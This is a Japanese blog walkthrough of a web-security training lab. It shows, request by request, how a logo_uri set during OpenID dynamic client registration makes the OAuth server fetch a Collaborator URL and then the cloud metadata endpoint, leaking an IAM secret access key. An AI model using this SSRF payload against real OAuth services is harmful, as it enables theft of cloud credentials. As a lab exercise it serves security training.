Shikata Ga Nai

Private? There is no such things.

SSRF via OpenID dynamic client registrationをやってみた

Hello there, ('ω')ノ

 

OpenID動的クライアント登録によるSSRFを。

 

このラボは、クライアントアプリケーションが専用の登録エンドポイントを介して。

OAuthサービスに動的に登録できて。

一部のクライアント固有のデータは。

SSRFの潜在的なベクトルを公開するOAuthサービスによって。

安全でない方法で使用されて。

下記へアクセスして、クラウド環境のシークレットアクセスキーを盗むらしく。

 http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/

 

まずは、ログインして。

 

f:id:ThisIsOne:20210527162802p:plain

 

f:id:ThisIsOne:20210527162825p:plain

 

f:id:ThisIsOne:20210527163159p:plain

 

リクエストが送信される先のホストをコピーして。

 

f:id:ThisIsOne:20210527163248p:plain

 

下記の構成ファイルにアクセスすると。

クライアントを登録するエンドポイントが確認できて。

 https://ac561fa11fdbb3e380c9060c026300ca.web-security-academy.net/.well-known/openid-configuration

 

f:id:ThisIsOne:20210527163615p:plain

 

適切に偽のコールバックを含むOAuthサービスに登録するリクエストをSendすると。

 

POST /reg HTTP/1.1
Host: ac561fa11fdbb3e380c9060c026300ca.web-security-academy.net
Content-Type: application/json
Content-Length: 60

{
"redirect_uris" : [
"https://example.com"
]
}

 

f:id:ThisIsOne:20210527164221p:plain

 

新しいクライアントIDが確認できて。

つまり、認証なしでオリジナルのクライアントアプリケーションが。

正常に登録されたというわけで。

 

f:id:ThisIsOne:20210527164633p:plain

 

また、logoへのリクエストは。

OAuthフローを監査してOpenID仕様から要求された承認ページには。

ロゴが表示されるので。

このリクエストをリピータへ送ってスタンバイしておいて。

 

f:id:ThisIsOne:20210527165306p:plain

 

 

 

まずは、コラボレータでペイロードをコピーして。

 

f:id:ThisIsOne:20210527164814p:plain

 

さきほどのリクエストに追加して、Sendすると。

 

POST /reg HTTP/1.1
Host: ac561fa11fdbb3e380c9060c026300ca.web-security-academy.net
Content-Type: application/json
Content-Length: 137

{
"redirect_uris" : [
"https://example.com"
],
"logo_uri" : "https://moetbyr448y8qo92wkyrbff2gtmja8.burpcollaborator.net"
}

 

新しく下記のIDが取得できたので。

 "client_id":"29E044XL3y98E57wX7LgF"

 

f:id:ThisIsOne:20210527164912p:plain

 

スタンバイしていたlogoへのリクエストのクライアントIDを交換してSendすると。

 

f:id:ThisIsOne:20210527165400p:plain

 

コラボレータで新しいインタラクションが確認できて。

これで、logo_uriプロパティでOAuthサーバからのリクエストを。

引き出すことができることがわかったので。

 

f:id:ThisIsOne:20210527182154p:plain

 

コラボレータから下記のターゲットURLにlogo_uriを変更してSendすると。

 http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/

 

下記のクライアントIDが取得できて。

 "client_id":"GqzNfkHQEk1DK8_p_OTF5"

 

f:id:ThisIsOne:20210527165950p:plain

 

さきほどのようにlogoへのリクエストのクライアントIDを交換してSendすると。

レスポンスには、OAuthプロバイダのクラウド環境のメタデータが。

その中のシークレットアクセスキーをコピーして。

 

f:id:ThisIsOne:20210527170105p:plain

 

下記を入力すると。

 wael7cVEEdkkW6QYayHNILKRdqQOeBbVuTJYCwce

 

f:id:ThisIsOne:20210527170156p:plain

 

クリアできた。

 

f:id:ThisIsOne:20210527170214p:plain

 

Best regards, (^^ゞ